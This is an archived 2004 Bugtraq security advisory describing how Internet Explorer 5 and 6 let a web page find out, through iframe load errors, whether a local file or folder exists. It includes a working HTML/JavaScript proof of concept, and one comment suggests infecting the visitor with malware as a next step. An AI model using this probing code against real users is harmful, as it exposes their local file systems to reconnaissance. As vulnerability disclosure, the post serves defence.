bugtraq - Internet Explorer Local File/Directory Detection

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Tue, 24 Aug 2004 14:11:48 +0200 (MEST)
From: "Rynho Zeros Web" <aberastegue@....net>
To: bugtraq@...urityfocus.com
Subject: Internet Explorer Local File/Directory Detection

Description:
============

This vulnerability, are based on the equal characteristics discovered by the
company GreyMagic Software of Israel in some of the versions of the
navigator Opera.

This bug also is available in the popular MS Internet Explorer, which could
be operated by a remote user to acquire sensible data of a remote system.
When a file or directory is assigned iframe that does not exist, this
navigator will generate an error. A remote user can create code HTML that
loads iframe and changes to the URL from this resource to a file or local
directory, and then detects if there is that error to determine if that
element exists.

Proof Of Concept (POC/Exploit):
===============================

-------------------------

<iframe src="http://www.lafrase.net"></iframe>
<script type="text/javascript">
onload=function () {
var sLocal="C:/some_file_or_folder";
frames[0].location.href=sLocal;
setTimeout(
function () {
try {
frames[0].document;
alert(sLocal+" does not exists.\nHere could execute a script that infects
the computer with some virus, trojan, etc");
} catch (oErr) {
alert(sLocal+" Exists.\nThen do nothing");
}
},
250
);
}
</script>

-------------------------

Tested on:
==========

MS Internet Explorer 6.0.2800.1106 (SP1,Q867801) Win9x
MS Internet Explorer 5.0 Windows 2000

Also in Mozilla Firefox without success.

More Info:
==========

Opera Local File/Directory Detection.
http://www.greymagic.com/security/advisories/gm009-op/

Disclaimer:
===========

The information in this advisory and any of its demonstrations is provided
"as is" without warranty of any kind.

We are not liable for any direct or indirect damages caused as a result of
using the information or demonstrations provided in any part of this
advisory. 

Version en
Español:
===================
http://www.rzw.com.ar/article1820-Internet-Explorer-deteccion-remota-de-directorio-o-archivo-local

-- 
Martin [XyborG] Aberastegue
http://www.rzw.com.ar
http://www.lafrase.net

NEU: Bis zu 10 GB Speicher für e-mails & Dateien!
1 GB bereits bei GMX FreeMail http://www.gmx.net/de/go/mail